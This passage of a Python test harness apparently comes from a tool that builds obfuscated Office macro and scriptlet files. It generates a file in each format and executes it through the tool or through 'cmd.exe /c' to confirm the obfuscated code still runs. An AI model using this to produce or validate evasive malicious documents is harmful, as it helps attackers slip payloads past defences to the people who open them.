testFormat)
os.system("%s %s -f %s -G %s -o -q" %
(sys.executable, MP_MAIN, vbaTestFile, testFile))
assert (os.path.isfile(testFile))
logging.info(" [-] Success!\n")
if testFormat not in [MSTypes.VBA, MSTypes.SCT]:
logging.info(" [+] Testing run of %s obfuscated file..." %
testFormat)
if testFormat in MSTypes.MS_OFFICE_FORMATS:
os.system("%s %s --run=%s -q" %
(sys.executable, MP_MAIN, testFile))
else:
os.system("cmd.exe /c %s" % (testFile))
# Check result
assert (os.path.isfile(fileToGenerate))
with open(fileToGenerate, 'rb') as infile:
content = infile.read().decode('utf-16')
assert (content == fileToGenerateContent)
logging.info(" [-] Success!\n")
testSummary[testFormat + " obfuscated"] = "[OK]"
os.remove(fileToGenerate)
except:
result = False
testSummary[testFormat + " obfuscated"] = "[KO]"
logging.exception(" [!] Error!\n")
if os.path.isfile(testFile):
os.remove(testFile)
os.remove(vbaTestFile)
return result
